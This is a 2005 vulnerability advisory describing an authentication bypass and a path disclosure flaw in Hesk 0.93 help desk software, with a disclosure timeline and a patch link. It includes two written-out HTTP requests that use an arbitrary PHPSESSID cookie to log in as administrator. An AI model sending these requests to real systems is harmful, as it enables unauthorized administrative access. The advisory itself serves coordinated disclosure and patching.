<<< Date Index >>>     <<< Thread Index >>>

Hesk Session ID Validation Vulnerability



OS2A

Hesk Session ID Validation Vulnerability


OS2A ID: OS2A_1003                              Status
                                                9/13/2005 Issue Discovered
                                                9/14/2005 Reported to the vendor
                                                9/18/2005 Patch Released
                                                9/20/2005 Advisory Released
                                                        

Class: Authentication Bypass                    Severity: CRITICAL


Overview:
Hesk is a PHP based help desk software that runs with a MySQL database. 
It allows to setup a ticket based support system (helpdesk) for websites.
Hesk versions 0.93 and prior are vulnerable to authentication bypass and path 
disclosure vulnerabilities caused due to improper validation of the HTTP 
header. This vulnerability can be exploited to bypass authentication 
mechanism, and also made to reveal system specific information. 
 

Description:
Multiple vulnerabilities exist in Hesk ticket based support system.

1. Authentication Bypass
   The 'PHPSESSID', Session ID parameter in the HTTP header is not properly 
   validated. A malicious user can log in to the Administrator account by 
   sending a random value to 'PHPSESSID' parameter and posting it to 
   admin.php. This Session ID can then be utilized to access administrative 
   control panel. 
 
   This is similar to a previously reported vulnerability where invalid 
   User ID and Password were submitted. In this case, a randomly chosen 
   Session ID is sent along with the login request. 
   
2. Path Disclosure.
   Path information can be made to disclose in error pages by passing invalid 
   metacharacters such as "'" or "<" to 'PHPSESSID' field of the HTTP header.
   

Impact:
Successful exploitation can result in a compromise of the application, 
disclosure of system specific information.

Affected Systems:
Hesk 0.93 and prior.
Linux (Any), Unix (Any), Windows (Any)

Exploit:
1. HTTP POST request with randomly chosen Session ID:
POST admin.php +
("Host: host_ip
  User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) 
  Accept: text/xml,application/xml,application/xhtml+xml,text/html
  Accept-Language: en-us,en;q=0.5
  Accept-Encoding: gzip,deflate
  Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  Keep-Alive: 300
  Connection: keep-alive
  Referer: http://host_ip/hesk/admin.php
  Cookie: PHPSESSID=12345                             <!-- Random Session ID 
--!>
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 26
  user=1&pass=sdfd&a=do_login");
 
2. GET request to administrative control panel:
GET admin_main.php +
("Host: host_ip
  User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.7) 
  Accept: 
text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain
  Accept-Language: en-us,en;q=0.5
  Accept-Encoding: gzip,deflate
  Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
  Keep-Alive: 300
  Connection: keep-alive
  Cookie: PHPSESSID=12345")                            <!-- Session ID --!>

Solutions:
        Patch: 
        http://www.phpjunkyard.com/extras/hesk_0931_patch.zip
        OR Hesk 0.93.1 from
        http://www.phpjunkyard.com/free-helpdesk-software.php

Credits:
Rajesh Sethumadhavan, Rahul Mohandas, and Jayesh K.S of OS2A have discovered 
the vulnerability